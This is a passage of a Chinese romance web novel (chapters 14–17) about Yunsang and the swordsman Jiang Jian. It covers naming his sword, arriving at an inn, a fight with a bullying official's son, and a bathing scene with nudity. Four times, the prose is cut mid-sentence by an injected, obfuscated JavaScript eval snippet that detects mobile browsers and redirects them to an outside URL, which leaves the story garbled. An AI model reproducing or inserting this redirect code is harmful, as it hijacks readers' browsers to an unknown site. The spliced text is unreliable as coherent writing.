江见怎么瞧怎么欢喜,情绪化作灿烂欢愉的笑,尽数展露在让他欢喜的少女面前。 但说出来的话却辜负了云桑的期待。 只见他盯了盯自己的剑,露出诧异的神色道:“它就叫剑啊,能有什么名?” 江见太过坦诚,也太过朴素,这是云桑没有料到的。 也是,一开始给她取名都那般一言难尽,没给剑取名算他的剑有福气了。 可云桑还是觉得这把剑应当有个相配它的好名字,于是在沉默了几息后又开口了。 “不如给你的剑取个好名字吧,总是叫剑多冒昧。” 闻言,江见不解地看了她一眼,手里的活不停,笑道:“哪里冒昧了,不过娘子要是想取那便取,我都行。” 那无所谓的语气,就好像这把剑不是他的,而是云桑的。 云桑一时间心绪复杂,有些想笑。 既如此,她便不客气了。 她将目光锁定在那柄倚在树上的细长雪剑上,手慢慢朝着它摸索而去。 那一刻云桑心中是微微有些紧张的,怕不被允许触碰这把剑。 毕竟这是私物,有些人不大喜欢旁人触碰他的所有物,她不清楚江见是不是这般,因而有些小心翼翼。 当着江见的面,若是他不大高兴,她便不碰了。 但事实是,江见只是稀松平常地瞥了一眼,嘴里叮嘱道:“那剑刃很利,娘子小心不要割到手。” 云桑触手处一片冰凉,但她的心田却生出了几分暖来。 愣了一瞬,云桑才轻嗯了一声,缓缓将剑拔出来。 如她先前看到的那样,剑身行云流水般细长灵巧,出鞘那一瞬的雪色在日光下熠熠生辉,璀璨耀目。 甚至让云桑感受到了一种流光溢彩之美。 上面的血迹已经被江见清理了干净,但雪白的剑刃还是散发着肃杀的凛凛寒光,映照出少女一双明澈的双目。 “真是一把好剑。” 尽管已经不是第一次看见了,云桑仍是忍不住赞叹。 江见正将几枚不知叫什么的红色浆果汁挤在兔肉上,听到云桑的夸赞,也弯起了眼眸。 “自然,这可是我们长亘山的千年玄铁打造的,自是世间一等一的好剑。” 长亘山这个山名一出来,云桑空白的脑海立即涌现出一丁点过往的常识。 那好像是西北大地的一座寒山,终年积雪不化,罕有人烟。 “……你住在那里吗?” 好奇心驱使下,云桑打探起了江见的来处,神色惊奇。 长亘山那等苦寒之地也能住人? 顿时,云桑看江见的眼神再次产生了几分同情,但这股同情很快又消散了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144751|150007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江见像是知道她在想什么,语调昂扬道:“对啊,我从小便在那里长大,同师父住在山中的河谷里,四季如春,风景可好了!” “等我赚完了今年的银钱,我便带娘子回去,娘子一定会喜欢那里的。” 少年欢快的话语中满是对未来的憧憬,就好像已经在脑海中勾画出了什么似的,但很可惜,人生一片茫然的云桑无法与之感同身受,只抿唇微笑着,没有破坏江见的快乐憧憬。 再度将目光落在手里的剑上,云桑思忖了几息,轻喃出声道:“此剑色如霜雪,形若柳叶,不如便唤作霜叶吧?” 少女巧笑嫣然,澄澈的眼眸闪着溪水的细碎流光,让江见想起了长亘山那条温暖的河流。 他哪里又会不同意呢? “这名字真好听,娘子取得好。” 见他喜欢,云桑也笑了起来,又好奇起了他腰间那只森白如玉的长笛。 在贼窝里,这东西可玄异的紧,云桑没道理不好奇。 怀里还抱着剑,云桑探头看向了那支长笛,问道:“你这支笛子是什么材质的,瞧着真特别。” 江见翻动着火候差不多的肥兔,又是偏头瞥了一眼,迎接他的是少女圆溜溜的可爱眼眸,他胸腔里那颗东西又是一软。 他先是抬了抬胳膊,将长笛完全露出来,神情懒散道:“你自己瞧瞧不就知道了。” 那种熟稔的姿态,差点让云桑觉得他们是琴瑟和鸣多年的夫妻了。 脸蛋升起了些许热意,见江见大方,云桑也不客气,将他腰间的长笛抽走了。 触手温凉,如玉一般的触感,但近距离观察过的云桑再不会觉得这是一支玉笛了。 这是一支森白骨头磨成的笛子,虽然看上去洁白似玉,但实际上不知什么什么生物的森森白骨做成的。 “江见,这、这是什么骨头磨成的啊?” 怀着一丝忐忑,云桑捏着骨笛小心翼翼地问道。 原本江见也没想卖关子,然一回头看见少女怯生生的小模样,他立即燃起了坏心思,唇畔扬起了可以称之为恶劣的笑。 故作深沉地看了一眼云桑,神神秘秘道:“娘子那么大一双眼,难道看不出来这是人的?” 这一刻,少年往昔灿烂明媚的笑都变得阴恻恻起来,云桑浑身都泛起了凉意,后背仿佛迎着一阵一阵的阴风。 她怔怔地看着眼前笑起来粲然生辉的明朗少年,一颗心左右摇摆着,将信将疑地看着江见。 一方面,云桑觉得他不像是能拿人骨做笛子的人,但另一方面,江见并不是个善茬,先前在贼窝里她不是没见过,杀人如砍菜,似乎又…… 梗着脖子,像个呆头鹅一样惊恐了许久,忽地听到少年毫不遮掩的大笑。 “哈哈哈~” “娘子你不仅胆子小,还很好骗,这就被我骗到了,真傻~” 这一连串的笑语虽然让云桑很恼怒,但也瞬间消了她心底的寒意,生气之下,云桑胆子也大了许多,抡起刚刚还让自己害怕的骨笛给了江见一下。 江见这人很识趣,也不躲,骨笛敲到他身上的时候还故意哎呦了几声,逗得云桑全然消了气,勾唇笑起来。 15. 第 15 章 快乐的气息在一对少年人的打闹声中流淌,感染了在枝头栖息的山雀,使得它们也发出清脆愉悦的啼鸣。 下了心头的火气,云桑看着被她打了一笛子假模假样的江见,倒有些不好意思了/ “谁让你故意戏弄人,别怪我……” 江见笑够了,见云桑强装镇定的小模样,心里更乐了。 “这是长亘山里的一种兽骨,师父给它取名叫长骨龙,背上长着长长的脊骨,似蛇又似虎,很是凶残,但它的骨头异常坚硬,受内力侵袭而不裂。” “而且音色也十分不错。” 云桑想起那时尖锐的笛音,十分不认同他最后一句。 “音色哪里不错了,尖锐极了,还会让人痛苦不堪。” 贼匪七窍流血的画面仍然历历在目,想起来时云桑只觉得手里拿着个烫手山芋,也不知江见当时往她耳朵里塞了什么,实在神奇。 江见又是哈哈一阵笑,同云桑解释道:“那是因为我用内力吹奏的,用内力便可夺人性命,寻常吹便只是曲子,不信我吹给娘子听!” 云桑刚要回绝,就听见江见自己反悔道:“还是待会吧,兔子烤好了,娘子不是饿了,先吃。” 将烤得滋滋冒油的鲜香肥兔从火上拿下来,用他那双无情铁手龇牙咧嘴地撕下一条兔腿递给云桑。 “娘子快吃,这四条腿都留给娘子。” 云桑一边用树叶裹着兔腿,一边乍舌道:“不必四个,这一个便够了。” 云桑并没有在扯谎,江见猎回来的这只野兔体型硕大,光是一只兔腿便肥硕无比,云桑觉得这完全能填饱她的肚子。 但最后云桑生生吃了两个兔腿才饱。 饱腹之后没忍住轻轻打了个嗝,察觉到江见淬着打趣笑意的目光,云桑脸热地朝他笑了笑。 “我大概是太饿了。” 江见则是笑眯眯道:“能吃是福,能吃是福。” 剩下的兔肉全被胃大如牛的江见吃了下去,两人在水边简单清洗了一番来到了云桑被发现的地方。 她是个在方向感上有些迟钝的人,更遑论是只来过一次的桃花山,若是要她自己,定是个无头苍蝇。 但好在有江见在,他还记得那地方在哪。 江见事先并不知云桑过来要寻什么,待见人开开心心从草叶里拾出来几只钗环,江见纳闷地凑了过去。 “费劲巴拉跑一趟就是为了寻这些个东西,我不是给娘子拿了许多吗?难道娘子都不喜欢?” 说话间,少年掂了掂手里沉甸甸的包袱,有些想不通。 云桑宝贝似的将仅寻到的几支簪钗好生收起来,听到江见的话,一不留神嘴快地嘀咕道:“那都是你的东西,不是我的东西。” “什么?” 恰巧吹过了一阵风,江见没听清云桑说什么,又问了一遍。 直觉告诉云桑,江见很可能会因为自己的见外而生气,忙不迭改口道:“我说这些都是我曾经的东西,我想找回它们。” 江见知道云桑不是不喜欢他拿来的漂亮首饰后,便随她了。 下山的路上,也不知是不是江见的运气太好,他又瞧见了土拨鼠打架。 兔肉吃多了,云桑正消食着,专注走山路的她自然没有注意到草窝里酣战的两只土拨鼠,直到手被江见晃了晃,云桑刚要出声,就看见江见竖着食指对她嘘了一声。 “娘子快看土拨鼠打架~” 似是怕惊扰了那两个酣战的小东西,江见的声音压得很低,眸中尽是惊喜的笑。 云桑顺着他的视线看过去,果然在草窝里看见了一对正僵持着的小动物。 一身棕褐色的皮毛,生得胖乎乎圆滚滚的,像是缩小的熊,正仰着头和同伴互相推搡着,偶尔还要转圈圈,实在好笑。 本没什么兴趣的云桑瞧见了这一幕都忍不住弯了弯眼眸。 “果然很有趣。” 见云桑笑了,江见也跟着眉眼弯弯,两人蹲在那看了好半天才下山。 …… 出了桃花山,再行十里地便到了人口聚集的城镇。 将近黄昏的时候,云桑伏在江见背上,远远看见了城门。 其实云桑靠着自己完全可以抵达城门的,但随着路程越来越长,她那不算健壮的身板开始疲惫了,人气喘吁吁不说脚步更是越来越拖沓。 江见看不下去了,二话不说将云桑捞到了身上背着。 云桑也不是什么犟骨头,加上自己确实满身疲惫,怕误了时辰天黑都走不完,便安心受了。 反正自己都已经成人家娘子了,说不定很快便要履行自己身为妻子的责任了,她受些好处也是理所应当。 念此,云桑坦然伏在了江见的背上,甚至开始昏昏欲睡。 夕阳下,城门口孤零零地立在尘土中,不时有进城出城的路人,看起来都是一副行色匆匆的模样。 虽然有些潦草,但充斥着人烟,让在桃花山徘徊了许久的云桑感到了一丝安稳。 穿过城门,眼前便是让人深觉豁然开朗的青石街道,两侧满是鳞次栉比的店铺,在昏暗的天色下看起来充斥着人间烟火。 还未到打烊的时辰,那些做吃食的食铺还冒着白烟,裹在白烟里的,是诱人的饭香味。 “娘子要不要先在外面吃些东西?” 江见也嗅到了那股霸道的饭香味,想起先前云桑咕咕叫的肚子,他扭头贴了贴少女耷拉在他肩头的脸颊说了一句。 猝不及防被江见亲昵的动作扰乱了心神,云桑困意大减,微不可察地往后撤了撤,摇头否决了。 “还是不了,先寻个客栈下榻吧,我想沐浴。” 从醒来到现在云桑都没有好好清理一下自己,先前是又在山里又是借宿的,没有机会,如今进了城,云桑自然还是想好好收拾一下自己的。 好在如今还不是炎热的夏季,一两日不浴身还勉强可以忍受,若是到了那走在日头下滴汗成雨的酷暑,还要憋着不能浴身她才要绝望。 “好。” 暮色中,少年声音带着细碎的笑意,缓慢又柔和。 “放我下来吧,我已经不累了。” 察觉到周围人似有似无打量他们二人的目光,云桑有些不好意思,点了点江见的肩头低语道。 虽然江见挺喜欢背着他身子骨软软的娘子,但听她要下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151662|150007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,倒也不会纠缠。 双脚落在青石板上,云桑的心更安定了。 江见向过往路人打听了一个距离近且口碑不错的客栈,二人缓步朝着目的地走去。 忽地,身后传来一阵唢呐的喜庆声响,是有人家嫁女了。 一条街上的人都回头去瞧,云桑自然也不例外。 薄暮冥冥,一只迎亲队伍自城外归来,队伍前的新郎官满心欢喜地迎回了自己的娘子,即使云桑看不清他的神色,也知他定然是满面春风的模样。 有大胆者设路障,讨要喜钱,男方家也笑眯眯地给了,得了陌生人的吉祥话。 这是本朝特有的障车习俗,凡迎亲人家,路上行人皆可障车讨要彩钱,再说些吉祥话。 而娶妻的人家也不会觉得这是一种冒犯,反而会觉得吉利,笑呵呵地给出喜钱。 尤其是越富贵的人家越受瞩目,受到的障车次数会越多,但那些大户人家豪气,自不会在意这些小钱。 云桑将这热闹的一幕瞧在眼里,心中隐隐生出些熟悉感,应当是她以前也常见这种场景。 陷在飘忽的回忆里,云桑一时愣怔在原地,连江见拉她都没有反应。 “娘子?” 江见凑近她,轻唤了一句,温热的气流随之倾洒在细嫩敏感的肌肤上,让云桑打了个激灵回了神。 “没事,我只是看入神了,觉得他们好生喜庆。” 模糊的天色里,江见还是能清楚地看见少女面上甜软的笑,他想到了什么,黑眸轻转道:“娘子喜欢这样?若如此,我们回去也办一场这样的,不过就是可能会人有点少,娘子别介意就行。” 唢呐声还未消失,云桑扯了扯唇角,费劲地同他搭话道:“有多少?” 云桑觉得江见就像头孤狼游走在世间,也会有许多亲朋好友吗? 果然,江见下一句话打消了她的猜疑,愈发确定了他是头孤狼。 “我和我师父。” 暮色中,少年老实巴交地答了一句,云桑听出些底气不足,蓦地笑了。 “行吧。” 云桑不再说话,脸色也如往常一样,看不出有什么情绪,但江见心里却有些不安生。 看来娘子喜欢热闹些,他得想法子让他们日后的婚仪多些人才行。 但交朋友这件事十分麻烦,又耗时间,这样短暂的时间里他想必是完不成了。 刚想叹口气,江见心头涌出了个好主意。 没关系,他可以花钱支使些人过来,这样就能热闹了! 觉得此计甚好的江见再没了烦恼,开开心心牵着自家娘子去客栈了。 客栈不算恢宏,但也绝不逼仄,干净整洁,装潢雅致古朴,是一处不错的落脚地。 江见看起来是个出手大方的,到客栈里不假思索便要了一间上房,也不问价钱几何。 正是路人急着投宿的时刻,此刻围在客栈要订房的客人不少,好在江见动作够快,将最后一间上房定下了。 云桑交代要热水后,便挺着懒洋洋的身子骨要上楼。 但这会子来了个坏事的,张口就要他们让出自己刚定下的房间,姿态嚣张极了。 16. 第 16 章 “小子,将最后一间上房给爷让出来,爷给你双倍的银钱!” 本即将可以躺下歇息的,如今被这个不知哪里来的蠢东西打扰了,云桑真的很郁闷。 云桑面色幽怨地立在一旁,连声叹着气。 江见方才拿着房间的牌子,就遇到这么一桩晦气事,想着娘子疲累,话语丝毫不拖泥带水道:“不让,你再去寻一间吧。” 说着,江见拉着云桑就要走,但那锦衣公子哥不愿了。 “嘿!你这小子莫不是聋了,爷跟你说话没听见?” 锦衣公子身边跟着的几个人高马大的侍卫极有眼力见地围了上来,将云桑二人的路给堵上了。 云桑神色带着厌烦,但唯独没有害怕。 经过了贼窝那一事,云桑已经充分领教到江见的能耐了,自然不怕江见在这几个人身上吃亏,唯一担忧的就是怕有后续的麻烦。 然转念一想,她与江见又不在这待多久,这些人想找麻烦也没用。 相比于云桑的淡定,江见的神情则丰富多了,挑了挑眉,甚至还染上了笑意。 只有云桑知道,他这是有些生气了。 周围的客人是不知江见的,他们都看戏一般看着这个蔡郡有名的纨裤儿恃强凌弱,心中唏嘘叹气。 在汪三公子不知轻重地纠缠下,云桑和江见转过了身,看向了那个恼人的苍蝇。 美貌是人摄人心魄的能力的,在这样的暮色间,灯火通明的客栈里,本就是个风流纨裤的汪三公子当即被震慑住了。 扭过头来的一对少年人皆有着天人之姿,那等让陋室生辉的美好容颜,但汪三究其根本是个男儿,因而目光只是在江见身上停顿了一瞬,暗骂了一声小白脸,便紧紧黏在了一旁的云桑身上。 甚至都忘了进行之前的欺压行径,只呆呆地看着云桑,险些要流出口水。 他在蔡郡,可还从未见过这等美人,如明月生辉,灼灼潋滟。 尽管面上未施粉黛,发髻只是如村女那般扎成最为简单的麻花辫,那粉白明丽的如珠玉一般的光华也难以掩饰。 一时间看痴了,汪三没注意到白袍少年愈来愈淡的脸色,反而不受控制地迈步上前,想凑近去靠近瞧瞧。 “姑娘是哪里人士,芳名为何,在下蔡郡郡丞之子,不知可有幸认识姑娘一二?” 汪三拿出了他惯常与姑娘搭话的强调,只不过对着眼前这个尤为漂亮的姑娘更多了几分垂涎出来的小意讨好。 汪三的步伐像是直接忽略了江见这样一个大活人,就要挤到云桑跟前去。 就在云桑蹙眉想要后退时,眼前白影一闪,江见立在了她面前,替她隔绝了讨人嫌的纨裤。 “她是我娘子,不用跟你认识。” 云桑听见少年少有的不咸不淡的语调,话语里是丝毫不加掩饰的醋意和霸道。 这就是被人吃醋的感觉吗? 倒是很新奇的感觉,云桑心间好似有花瓣在飘飘荡荡,轻软而香甜。 这话一出,汪三大为惋惜地啊了一声,轻蔑地目光落在了这个明显是平民草莽的江湖少年身上,贼心未死。 这等美人竟跟了这样一个混迹绿林的乳臭未干小白脸,可不平死他了! 万分不舍地看着被江见挡在身后严严实实地姑娘,汪三趾高气扬继续发难。 “是你娘子又怎么了,爷只是跟这位姑娘认识一下,又犯了哪条国法了?” “大伙说是与不是,嗯?” 有些人本就是些惯会溜须拍马的,此刻正是个奉承郡丞公子的好机会,忙不迭在旁边附和上了,让一旁善良正直的人看了只皱眉摇头。 云桑再次瞧见江见露出那抹诡异又热烈的笑,比先前的灿烂十倍。 这人要遭殃了,云桑在心中念叨了一句。 云桑没打算劝阻江见,毕竟若是自己孤身一人遇上了这个贼眉鼠眼的郡丞公子怕是祸福难料,如今算是她运气好了。 被小白脸诡异地凝了几息,汪三公子心里头有些发毛,出口的话语都有些颤抖。 “你、你个臭小子,看什么看!” 察觉到汪三公子的恐惧,江见又是勾唇一笑,他生得漂亮,那笑容又太过妖冶,看得汪三公子一愣。 “这里人多,还影响掌柜的做生意,不如咱们寻个僻静的地儿谈谈,若是谈好了,什么都依你,如何?” 被江见最后的话吊足了胃口,汪三公子如今心中所贪求的便是上房和姑娘,听了江见这番颇有深意的话,他立即就露出了得意的笑。 他起初也想过这小白脸是不是有什么歹心,但余光瞥见身旁几个高大威猛的侍卫,汪三公子又排除了这个可能。 就这小白脸清瘦的身板,应当不会那么不知死活。 汪三公子更相信这小白脸是知道了他郡丞公子的身份,动了些见不得光的歪心思,想要来点龌龊的交易。 想到这个可能,汪三公子露出些许猥琐的笑,最后看了一眼云桑,对江见道:“是这个理,那爷去旁边的小巷子候着!” 云桑攥住了江见的袍角,轻声问道:“你什么时候回来?” 她想着上去便沐浴,如果江见回来晚了她便要等许久,云桑想沐浴的心都要飞起来了。 察觉到袍角被云桑轻扯了,江见敛住对着纨裤的恶意灿笑,眉眼似染了蜜糖,捏了捏那只纤软的手,朗声道:“不用一盏茶我便回来,娘子莫急。” 说完这些,江见将肩上的包袱给云桑拿着,交代掌柜道:“看顾好我娘子,我娘子需要什么便送上去。” 领房牌的时候江见出手大方,直接给出了十两的银锭,足足是两人房钱的十倍,便是为了要东西的时候方便。 人群中散出一条道,那纨裤和江见一前一后出了客栈,没入了黑暗。 热闹没了,人也三三两两散开了,吃饭的吃饭,安寝的安寝。 漆黑的小巷中,出现了纨绔和江见的身影,还有若干正等着主子一声令下教训人的侍卫。 汪三公子见人乖乖跟着过来了,抱着春秋大梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168530|150007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的他立即嘿嘿笑道:“好了,如今到了这不见人的地儿,你这小白脸便别装了,说要多少钱才愿意……啊!” 淫邪的话还没说完,只见眼前那道模糊的白影如鬼魅一般晃到了他跟前,上来便是一脚踹在了他的肚子上,巨大的力道让他飞出了十来米,浑身抽搐着在地上惨叫着。 待几个侍卫反应过来,已经完全来不及了,看着被踹在地蜷缩地如同虾米的主子,几人瞬间一凛,大怒着冲着二话不说便偷袭的少年发起了进攻。 夜里人少,这个狭窄的小巷内更是没有人烟,接连不断的哀嚎声自小巷中传出,尽管也有零星路人恰好经过,也根本不敢管这腌臜事,连脚步都没有停一瞬,人就匆匆走了。 云来客栈,依旧灯火通明。 云桑被一个嘴皮子利索的伙计领上了二楼,云桑交代了送些沐浴的热水上来,伙计临走前,云桑瞧他对着这蔡郡侃侃而谈的熟稔感,忽地想起了自己的身世,向他打探道:“小哥是蔡郡本地人?” “自然,小的是土生土长的蔡郡人,姑娘有什么想知道的都可以问小的。” 见这伙计热情,云桑也直白问了起来。 “想向小哥打听一下,近来蔡郡可有富贵人家丢了女儿的消息?” 端看自己周身打扮,家里定然是非富即贵的,那她遭了难家中不会不派人寻,既如此一定回到官府备案,郡县内也不会一点风声都没有。 但那伙计却难住了,挠了挠面皮,思索了好一阵摇头否认道:“近来从未听说有谁家的女儿丢了,大户人家的更没有听说,不过今年夫妻新婚夜离奇亡故的倒有一桩,不过都是元月时候了。” 没有获取她想要的讯息,云桑难免失望,好声好气同人道了谢。 作为时刻为客人提供下榻之地的客栈,这里全天都备着热汤,云桑才在房里走了两圈,便听到敲门声,是伙计带着人沐浴所用的水上来了。 还有一应洗漱用品,澡豆香胰子,甚至换洗衣物都有。 怨不得这家客栈口碑不错,确实有几分体贴。 伙计将水兑好,云桑刚探了探水温,便听见了拍门声。 那动静虽不野蛮,但也少了几分客栈里的小伙计的礼貌客气,应当是江见了。 “娘子快开门,我回来了!” 还没走到门跟前,就听到江见扯出来的大白嗓,云桑将最后一丝疑惑打消,忙不迭开了门。 白袍少年仿佛只是出去吹了阵风,跟个没事人一样迈步走了进来,将云桑上下打量了一番,确定人好好的才放心。 “你回来的真快,伙计才刚备好沐浴的热汤。” 虽然江见已经提前说了一盏茶时间,但云桑还是很惊讶。 江见摆了摆手,在椅子上坐下,翘着二郎腿道:“就那几个蠢东西,那里需要浪费时间。” 说话间,江见目光落在了屏风后,那里头,装了热汤的浴桶正热气氤氲,还带着茉莉花香。 “娘子要沐浴啊,正巧,我也要,咱们一起洗吧!” 17. 第 17 章 少年说着不知羞的话,但神情却是坦然又纯洁的,就好像那些话并非出自他口。 而听到这些话的云桑却没有他这样强悍的脸皮,当即浑身一激灵,变成了煮熟的虾米。 “不行!” 云桑被刺激得张嘴便反驳,没有一丝犹豫,神色一副受了惊吓的模样。 感受到云桑剧烈的抗拒,江见刚要解蹀躞带的动作顿了一下,明亮的双眸迷惘地眨巴了几下,终是放弃了。 “好吧,既然娘子不愿就算了。” 云桑心神松懈下来,将房门门闩插上,又嗫喏着让江见不要偷看,人紧张兮兮地进了屏风后。 云桑觉得江见是个挺奇怪的人,前脚可以厚颜无耻地提出一些在云桑看来十分过分的要求,后脚又可以浑然不在意地轻飘飘放弃,就好似故意来吓唬逗弄她似的。 但江见看起来不是那么回事,云桑觉得他是真的想同她一起沐浴。 到了屏风后,云桑拍了拍自己烧得滚烫的脸蛋,磨磨蹭蹭开始脱衣裳了。 进来前江见正认真地擦拭着自己的剑,云桑只求他不要分神到她这。 扭扭捏捏地躲在浴桶后将衣裳褪完,云桑踩着凳子迈入了盛着茉莉花瓣的热水中。 水温有些烫,但对于云桑来说正好,她坐到木桶中,习惯了初时的烫意长吁了一口气,舒服极了。 纯白色茉莉花层层叠叠地漂浮在水面上,将花香浸透在水里,又通过蒸腾的热气弥漫出来,又混合着一些说不清是何种的甜香,尽数弥散到正在仔细擦拭佩剑的江见身边。 他下意识鼻翼耸动,深嗅了几口,心尖酥酥软软的。 循着这股甜香看过去,江见目光落在了屏风上。 准确来说是看向屏风后正拨弄出水声的云桑,且看得十分认真。 屏风是由细绢布制成的,上面虽然绘着兰草绿叶,但还是不够厚实,将沐浴的少女身影隐隐绰绰地映透了出来。 江见擦剑的动作也慢了下来,眼神直直黏在那,隐隐可见眸底不自觉跳动的兴奋。 一瞬间,江见便对手里的剑便失去了兴趣,转而去探寻另一桩让他感兴趣的事情了。 他走路无声,等云桑某次撩起水花,捻着粘在她身上的茉莉花瓣时,才看到正倚在屏风旁的江见,正用着他那双璀璨的黑眸眨也不眨地盯着她,也不知晓看了多久。 “江见,你怎么偷看,快走开!” 尽管有木桶遮掩,水里的茉莉花瓣也能将身上肩膀以下的位置遮在水下,云桑猝然看见江见,还是有种被看光了的错觉,身体比脑子反应更快,想也不想便往水里缩。 层层叠叠的茉莉花瓣被打乱,水面只剩下一颗小脑袋,乌黑的长发因为茉莉花的阻挡没能立即沉入水里,漂浮起来,映衬得那张小脸莹润白皙,不过此刻多少有些惊慌罢了。 见云桑那么惊慌失措,江见刚要迈步过来的步伐顿住了,仍是维持着原先的姿态,懒洋洋地反驳道:“谁偷看了,我这是光明正大地看,再说我看看自己娘子怎么了,瞧你吓成这样,好似我要吃了你一样。” “算了,不看了。” 嫩豆腐一样的肌肤没入了水中,江见看不见后,胸腔里那颗莫名浮动的情绪也渐渐消散了。 就像是一个恶作剧吓唬人的孩子,得了趣便心满意足走了,也不纠缠。 云桑经了这一番刺激,心绪许久才才平静。 见人摊在了软榻上,云桑想着也洗得差不多了,鬼鬼祟祟拿来了手边的布巾裹住了自己,偷摸躲在浴桶后穿上了客栈送来的新衣裳。 是一套水蓝色的襦裙,没有什么繁复的刺绣花纹,但胜在清丽雅致,衬得人肤色白皙,面貌鲜活。 江见枕着双臂,偶尔朝屏风后递去眼神,自然没有错过行径偷摸的少女。 姑娘家都是如此脸皮薄的吗? 江见心中嘀咕着,见人要出来了,也不再躺着,开始解身上的衣袍。 云桑原本都已经将自己的情绪安抚好了,谁知一出来就看见人已经脱得就剩下里衣,外袍被随手丢在软榻上,眼看着还要继续脱,云桑心头警铃大作。 春日本就温暖,加上江见是个男子,身子要更暖更热,穿得也少。 压根不用判断,他只穿了两件衣裳,若是再由着他脱,云桑便有的看了。 怪她扭捏吧,云桑还是无法直面这样的场景,见江见已经在解里衣的衣带了,她将心一横奔了过去,扑到江见跟前,按住了他解衣带的手。 “你去里面脱,别在这。” 不仅如此,云桑还推搡着他,就凭着她那点力气将江见成功推到屏风后了。 被一路推搡走,江见也不恼,反而还能笑出来。 “娘子你真奇怪,既不让我看你,我让你看也不许~” 云桑红了一张脸,既羞也气,只觉得这人当真是一点礼法体面也不讲,不愧是山里长大的野人! “不许,反正就是不许!” 见江见退一步的姿态,云桑不知哪里来的胆子强势起来,倒有几分刁蛮之意。 从屏风后出来,云桑刚想松口气,忽地想起了一个一直被她忘记的东西,眸光轻颤,扭头想回去但看着屏风映出的影子已经脱到了下半身,她赶忙又拉远了距离惊愕道:“你要用我用过的洗澡水?” 话音落下,她看见人影已经长腿一迈踏进了浴桶中,荡起的水花声让云桑再说不出接下来的话。 待到人影完全浸没到浴桶中,云桑听到回应了。 “不会这也不行吧?” 屏风后,江见不可置信地回问道,不知道是不是云桑的错觉,她在其中感受到了几分委屈。 继续艰难开口道:“不是,那水是被我用过的,不干净了,你何必再用。” 云桑可谓是苦口婆心了,但迎来的是江见的无所谓,只见屏风后的人影似在玩茉莉花瓣,漫不经心的话语也随之传出来。 “哪里,我觉得挺干净的,还带着娘子身上香香的味道,我喜欢。” 这样过分暧昧的话让云桑再没法辩驳,左右人都进去了,她又不能让人出来,哼唧了半天也不说了,扭头去一边绞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175389|150007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干头发了。 屋子就那么大,屏风后有什么动静云桑都能听见,不管是四溅的水声还是江见在那轻哼出来的不知名小曲。 怎么有人沐浴都那么热闹? 云桑屏气凝神,继续绞着自己的头发。 绞着绞着,云桑余光突然看见床上一套雪白的里衣。 自己的已经穿在身上了,那这套应当是…… 云桑立即意识到江见忘记拿换洗衣裳进去,思忖了一番,云桑决定拿给他。 虽然过去很不好意思,但没穿衣裳出来的江见更可怕,云桑还是懂得取舍的。 抱起那套里衣,云桑刚迈出几步,就听到屏风后水花四溅,人影剧烈晃动起来,观其轮廓人已是从浴桶中跨了出来。 意识到马上要发生什么,云桑嗓子眼里挤出了一个极其艰难的不字。 但一切都来不及了,江见踏出来的一刻,云桑觉得天都塌了。 大约是没想到云桑此刻正巧迎过来了,诧异过后扬起了欢喜的笑,热忱地感谢她道:“方才想起忘记拿换洗衣物了,正要去拿,没想到娘子这样贴心给我送来,娘子你真好!” 少年面上的笑纯挚而又清澈,就如同背靠着青山绿水,满是大自然的清新与明媚。 如果云桑是个瞎子,听着这声定然会这样想,但可惜她不是。 少年清澈的笑意下,是一具未着寸缕的男性躯体,虽然散布着些许疤痕,但仍是一具充斥着鲜活蓬勃的年轻肉.体,时刻散发着男子的野性与气概。 尤其是那最不能言说之处,竟还不是死物般沉寂,以肉眼可见的速度发生了变化。 云桑一口气差点没提上来,只觉得眼睛真要瞎了。 “娘子?” 木屐也不穿,就那么赤着一双脚从浴桶里走了出来,毫无一丝礼义廉耻的人更不会明白云桑内心的激荡,甚至还欲朝云桑走过来。 “啊~” “江见你不要脸!” 云桑脆弱的心房再无法抵御了,将手里的里衣往地上一扔,人尖叫着往床上一钻,被子里一拱,将自己捂得严严实实,在里面气喘吁吁。 这实在是太荒唐了! 将云桑这突然暴起将自己埋到床上的行径惊得一愣,他有些一头雾水。 